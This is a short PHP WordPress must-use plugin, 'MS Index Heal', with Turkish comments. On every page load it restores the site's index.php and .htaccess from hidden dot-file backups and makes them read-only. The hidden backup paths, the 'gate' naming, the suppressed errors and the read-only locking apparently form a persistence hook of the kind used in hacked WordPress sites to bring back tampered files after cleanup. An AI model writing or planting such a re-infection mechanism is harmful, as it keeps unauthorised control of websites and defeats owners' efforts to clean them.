<?php
/**
 * Plugin Name: MS Index Heal
 * Description: index.php / .htaccess SADECE yoksa veya boşsa yedekten geri yükler. Mevcut dosyaya dokunmaz.
 */
if (!defined('ABSPATH')) {
    exit;
}

if (!function_exists('ms_gate_heal_restore')) {
function ms_gate_heal_restore() {
    $root = rtrim(ABSPATH, '/\\');
    $wpContent = defined('WP_CONTENT_DIR') ? WP_CONTENT_DIR : ($root . '/wp-content');
    $changed = false;

    // index.php — yalnızca eksik/çok küçükse restore (kullanıcı yeni index yüklediyse dokunma)
    $idx = $root . DIRECTORY_SEPARATOR . 'index.php';
    $idxMissing = !is_file($idx) || ((@filesize($idx) ?: 0) < 40);
    if ($idxMissing) {
        $cands = [
            $wpContent . '/.ms_index.bak.php',
            $root . '/.ms_index.bak.php',
            $wpContent . '/ms_index.bak.php',
        ];
        foreach ($cands as $bak) {
            if (!is_file($bak) || !is_readable($bak)) continue;
            $body = (string)@file_get_contents($bak);
            if ($body === '' || strlen($body) < 80) continue;
            if (is_file($idx)) @chmod($idx, 0644);
            if (@file_put_contents($idx, $body) !== false) {
                @chmod($idx, 0444);
                $changed = true;
                break;
            }
        }
    }

    // .htaccess — yalnızca eksik/çok küçükse
    $ht = $root . DIRECTORY_SEPARATOR . '.htaccess';
    $htMissing = !is_file($ht) || ((@filesize($ht) ?: 0) < 8);
    if ($htMissing) {
        $cands = [
            $wpContent . '/.ms_htaccess.bak',
            $root . '/.ms_htaccess.bak',
        ];
        foreach ($cands as $bak) {
            if (!is_file($bak) || !is_readable($bak)) continue;
            $body = (string)@file_get_contents($bak);
            if ($body === '' || strlen($body) < 10) continue;
            if (is_file($ht)) @chmod($ht, 0644);
            if (@file_put_contents($ht, $body) !== false) {
                @chmod($ht, 0444);
                $changed = true;
                break;
            }
        }
    }
    return $changed;
}
}

add_action('muplugins_loaded', 'ms_gate_heal_restore', 0);
add_action('plugins_loaded', 'ms_gate_heal_restore', 0);